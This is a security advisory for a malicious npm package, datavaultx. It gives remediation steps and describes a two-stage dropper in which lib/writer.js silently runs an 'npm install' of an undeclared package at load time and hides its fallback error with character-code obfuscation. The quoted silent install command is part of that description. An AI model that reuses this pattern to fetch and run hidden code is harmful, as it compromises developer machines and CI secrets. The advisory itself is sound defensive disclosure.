MAL-2026-10460 Malicious code in datavaultx (npm)
Malicious package
Published
MAL-2026-10460 is a malicious package: datavaultx (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-10460/ (Markdown: https://insights.sbomify.com/MAL-2026-10460/index.md)
- Package
- datavaultx
- Registry
- npm
What is MAL-2026-10460?
MAL-2026-10460 is a malicious package in datavaultx, published on 13 Jul 2026.
Official description
On require of the package's main entry (auth.js -> lib/writer.js), the module attempts require('auth-gen-next'); on failure it invokes execSync('npm install auth-gen-next –no-warnings –no-save –no-progress –loglevel silent') and then requires the freshly installed module from../../auth-gen-next/index.js. The fetched package is not declared in this package's dependencies, so its contents are entirely attacker-controlled and can change at any time without a datavaultx release. lib/writer.js additionally constructs a cover-story error string ('Error: This environment is not supported…') via a long chain of String.fromCharCode calls, shown only if the silent install fails. The suppressed logging, undeclared dependency, and character-code obfuscation of the failure message together indicate a two-stage dropper design in which the visible package is a thin shim that pulls its real payload from a separately-published module at load time.
What should I do about MAL-2026-10460?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.